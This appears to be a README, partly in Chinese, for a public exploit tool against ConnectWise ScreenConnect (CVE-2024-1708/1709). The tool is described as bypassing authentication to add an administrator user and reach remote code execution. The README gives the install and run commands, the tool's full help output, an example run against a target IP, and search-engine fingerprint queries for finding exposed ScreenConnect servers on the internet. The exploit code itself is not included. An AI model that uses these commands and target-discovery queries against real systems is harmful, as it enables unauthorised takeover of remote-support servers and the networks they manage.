我正在使用 Python3.9
pip install requests
# python check.py
python batchAdduser.py

python ScreenConnect-AuthBypass-RCE.py -h
usage: ScreenConnect-AuthBypass-RCE.py [-h] [-u USERNAME] [-p PASSWORD] -t TARGET [-d DOMAIN] [--proxy PROXY]
CVE-2024-1708 && CVE-2024-1709 --> RCE!!!
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
username you want to add
-p PASSWORD, --password PASSWORD
password you want to add
-t TARGET, --target TARGET
target url
-d DOMAIN, --domain DOMAIN
Description of domain
--proxy PROXY eg: http://127.0.0.1:8080
例如:
python ScreenConnect-AuthBypass-RCE.py -t http://192.168.9.100

当您遇到以下情况时,表示该目标无法通过此脚本进行 RCE。

具体原因可参见以下链接:

如果您能获得合法签名,请提交 issue,非常感谢。
services.modules.http.headers.server:"screenconnect"
app:"ScreenConnect Remote Management Software"
services.http.response.headers:(key: `Server` and value.headers: `ScreenConnect`)
"Server: ScreenConnect"
product.name="ConnectWise ScreenConnect software"
app="ScreenConnect-Remote-Support-Software"
https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc